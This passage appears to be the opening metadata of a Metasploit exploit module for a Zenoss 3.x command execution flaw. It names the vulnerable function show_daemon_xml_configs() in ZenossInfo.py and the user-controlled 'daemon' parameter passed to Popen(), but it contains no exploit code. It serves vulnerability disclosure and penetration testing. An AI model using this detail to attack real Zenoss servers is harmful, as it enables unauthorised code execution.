'Name' => 'Zenoss 3 showDaemonXMLConfig Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in Zenoss 3.x
which could be abused to allow authenticated users to execute arbitrary
code under the context of the 'zenoss' user. The show_daemon_xml_configs()
function in the 'ZenossInfo.py' script calls Popen() with user
controlled data from the 'daemon' parameter.
